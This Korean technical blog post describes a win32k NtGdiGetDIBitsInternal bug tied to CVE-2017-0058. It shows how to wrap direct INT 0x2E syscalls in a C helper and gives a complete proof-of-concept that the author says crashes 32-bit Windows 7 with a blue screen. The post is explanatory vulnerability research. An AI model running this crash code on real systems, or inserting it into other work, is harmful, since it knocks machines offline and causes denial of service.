여기서 설명할 버그는 win32k!NtGdiGetDIBitsInternal syscall 에서 발생합니다. 이 함수는 초기 윈도우 버전(적어도 Windows NT) 부터 제공되는 함수로 GetDIBits, BitBlt, StretchBlt 등의 함수에서 내부적으로 호출합니다. 구글 프로젝트 제로가 보고한 runrelated double-fetch 취약점을 패치하기위해 최근 MS 의 4월 패치에 패치 대상이 되기도 했습니다.(CVE-2017-0058, issue #1078) 이 취약점은 다른 벤더사에 보고된적도 있었지만, 활용도가 낮아 크게 이슈화 되진 않았었습니다.
NtGdiGetDIBitsInternal 의 설계의도는 Device Context, HBITMAP 오브젝트, 스캔 시작라인, 스캔할 라인 수, BITMAPINFO 헤더와 이 데이터를 저장할 버퍼 에 기반해 비트맵 데이터를 얻는 것이었습니다. 함수 선언부는 아래서 확인할 수 있습니다. (출처 – ReactOS)
INT
APIENTRY
NtGdiGetDIBitsInternal(
_In_ HDC hdc,
_In_ HBITMAP hbm,
_In_ UINT iStartScan,
_In_ UINT cScans,
_Out_writes_bytes_opt_(cjMaxBits) LPBYTE pjBits,
_Inout_ LPBITMAPINFO pbmi,
_In_ UINT iUsage,
_In_ UINT cjMaxBits,
_In_ UINT cjMaxInfo)
버그가 발생하는 원인에 대해 출처에서 자세히 확인할 수 있습니다. 더 쉽게 풀어 쓰고 싶지만 시간상 이유로 다음 기회에 다루도록 하고 여기선 이 소스코드에서 사용한 SYSCALL 을 함수화 시켜 사용하는 방법에 대해 다루겠습니다.
SYSCALL 을 호출해줄 함수의 선언은 다음과 같습니다. 지난 글에서 설명한 INT 2E 를 활용한 Native API 호출방법을 참고한다면 이 선언부가 어떻게 동작하는지 더 쉽게 파악할 수 있습니다.
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
이후에는 아래와 같은 방식으로 호출할 수 있습니다. 예제에서 처럼 NtGdiGetDIBitsInternal 를 호출한다면 이렇게 진행될 것입니다.
CONST ULONG __NR_NtGdiGetDIBitsInternal = 0x10b3;
SystemCall32(__NR_NtGdiGetDIBitsInternal,
hdc,
hbmp,
0,
1,
output_buffer,
&bmi,
DIB_RGB_COLORS,
1,
sizeof(bmi)
);
이 소스를 활용하면 SYSCALL 을 별도의 인라인 어셈블리 없이 쉽게 함수화 시켜 쓸 수 있습니다. BSOD 를 일으켜 DoS 를 할 수 있는 예제코드 전문을 아래에서 확인하시죠.
#include <Windows.h>
#include <assert.h>
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
int main() {
// Windows 7 32-bit.
CONST ULONG __NR_NtGdiGetDIBitsInternal = 0x10b3;
// Initialize the graphic subsystem for this process.
LoadLibraryA("gdi32.dll");
// Load an external bitmap as HBITMAP and select it in the device context.
HDC hdc = CreateCompatibleDC(NULL);
HBITMAP hbmp = (HBITMAP)LoadImage(NULL, L"test.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE);
assert(hdc != NULL);
assert(hbmp != NULL);
SelectObject(hdc, hbmp);
// Allocate a 4-byte buffer for the output data.
LPBYTE lpNewRegion = (LPBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
assert(lpNewRegion != NULL);
memset(lpNewRegion, 0xcc, 0x1000);
LPBYTE output_buffer = &lpNewRegion[0xffc];
// Trigger the vulnerability.
BITMAPINFOHEADER bmi = { sizeof(BITMAPINFOHEADER), // biSize
100, // biWidth
100, // biHeight
1, // biPlanes
8, // biBitcount
BI_RLE8, // biCompression
0x10000000, // biSizeImage
0, // biXPelsPerMeter
0, // biYPelsPerMeter
0, // biClrUsed
0, // biClrImportant
};
SystemCall32(__NR_NtGdiGetDIBitsInternal,
hdc,
hbmp,
0,
1,
output_buffer,
&bmi,
DIB_RGB_COLORS,
1,
sizeof(bmi)
);
return 0;
}